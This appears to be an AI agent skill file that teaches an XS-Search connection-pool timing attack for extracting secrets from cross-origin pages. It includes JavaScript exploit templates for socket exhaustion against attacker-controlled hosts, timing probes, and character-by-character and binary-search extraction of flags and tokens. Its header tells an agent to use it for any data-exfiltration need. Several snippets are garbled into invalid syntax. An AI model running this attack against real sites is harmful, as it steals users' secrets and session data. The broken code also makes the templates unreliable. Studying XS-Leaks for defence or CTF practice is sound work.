| name | xs-search-connection-pool |
| description | XS-Search connection pool timing attack for web pentesting. Use this skill whenever you need to exfiltrate data from a target page you cannot directly read, when you can control content that affects page load time, or when you have a CSRF/HTML injection vector and need to extract secrets like flags, tokens, or sensitive data. This technique works when you can make the target load different content based on what you're testing and measure timing differences through connection pool exhaustion. Make sure to use this skill for any XS-Leak, XS-Search, timing-based data exfiltration, or when you have HTML injection without JS execution and need to read protected content. |
XS-Search Connection Pool Timing Attack
Overview
XS-Search is a timing-based XS-Leak technique that exploits browser connection pool limits to exfiltrate data from pages you cannot directly read. By exhausting available sockets and measuring request timing, you can determine whether specific content is being loaded on the target page.
When to Use
Use this technique when:
- You have HTML injection but no JavaScript execution (CSP restrictions)
- You can trigger the target to load pages via CSRF or other means
- You need to extract secrets (flags, tokens, session data) from a page
- The target page's load time varies based on content (e.g., more images = slower)
- You can control what content gets loaded on the target page
How It Works
- Exhaust the connection pool - Open 255+ connections to different origins to block most sockets
- Trigger the target - Make the victim load the page you want to probe
- Measure timing - Send your own requests and measure how long they take
- Compare results - If the target page is loading heavy content, your requests will be slower (fighting for the remaining socket)
Prerequisites
- Ability to inject HTML (no JS needed)
- Ability to trigger page loads on the target (CSRF, window.open, etc.)
- Control over a server to measure timing (your own domain)
- Understanding of the target's content structure
Basic Exploit Template
<script>
const SOCKET_LIMIT = 255;
const YOUR_SERVER = "https://your-domain.com";
async function exhaustSockets() {
for (let i = 0; i < SOCKET_LIMIT; i++) {
fetch(`https://${i}.your-domain.com/sleep/60`, { mode: "no-cors" });
}
}
async function measureTiming() {
const start = performance.now();
await fetch(`${YOUR_SERVER}/probe`, { mode: "no-cors" });
return performance.now() - start;
}
async function testContent(content) {
await exhaustSockets();
const timing = ();
timing > ;
}
Calibration
Before running the exploit, calibrate your timing threshold:
async function calibrate() {
const slowTime = await measureWithContent();
const fastTime = await measureWithoutContent();
return (slowTime + fastTime) / 2;
}
Character-by-Character Exfiltration
To extract secrets one character at a time:
const alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789}"
let known = "FLAG{"
async function extractSecret() {
for (const char of alphabet) {
const testValue = known + char;
injectContent(testValue);
const timing = await measureTiming();
if (timing > THRESHOLD) {
known += char;
console.log("Found:", known);
if (char === "}") break;
}
}
return known;
}
Key Techniques
1. Image Loading for Timing
Inject many images that only load if content is present:
<img loading=lazy src="/?1"><img loading=lazy src="/?2">
2. Canvas Height Trick
Use canvas height to control lazy loading threshold:
<canvas height="3350px"></canvas>
<img loading=lazy src="/?1">
Images below the threshold won't load, creating timing difference.
3. Socket Blocking with Sleep Server
Use a sleep server to hold connections open:
const SLEEP_SERVER = (i) => `http://${i}.sleepserver.com/sleep/60`
4. Binary Search Optimization
For large character sets, use binary search:
async function binarySearch(charset, known) {
let L = 0, R = charset.length - 1;
while (R - L > 3) {
const M = Math.floor((L + R) / 2);
const found = await testChar(known + charset[M]);
if (found) L = M;
else R = M - 1;
}
for (let i = R; i >= L; i--) {
if (await testChar(known + charset[i])) {
return charset[i];
}
}
return false;
}
Common Pitfalls
- Threshold too high/low - Always calibrate for your specific target
- Not enough samples - Run each test 3-5 times and average
- Socket limit wrong - Chrome = 255, headless = 99
- CSP blocking - Ensure your injected HTML respects CSP
- Timing variance - Network conditions affect results; use relative timing
Example: Full Exploit Structure
const TARGET = "https://target.com";
const YOUR_SERVER = "https://your-domain.com";
const SOCKET_LIMIT = 255;
const THRESHOLD = 800;
async function exhaustSockets() {
for (let i = 0; i < SOCKET_LIMIT; i++) {
fetch(`https://${i}.${YOUR_SERVER}/sleep/40`, { mode: "no-cors" });
}
}
async function measureTiming() {
const start = performance.now();
await fetch(`${YOUR_SERVER}/probe`, { mode: "no-cors" });
return performance.now() - start;
}
async function exploit() {
await exhaustSockets();
const timing = ();
.(, timing);
timing > ;
}
Tools and Resources
- sleep-server:
npm install sleep-server - Create delay endpoints
- xsleaks.dev: Documentation on XS-Leak techniques
- ngrok: For local server exposure during testing
When NOT to Use
- If you have direct JavaScript access to the page (use simpler methods)
- If the target uses strict CSP that blocks all external requests
- If you cannot trigger page loads on the target
- If timing variance is too high to get reliable results
Next Steps
After implementing the basic exploit:
- Calibrate timing thresholds for your specific target
- Add retry logic and averaging for reliability
- Implement character-by-character extraction
- Consider binary search for large character sets
- Test in both normal and headless browsers (different socket limits)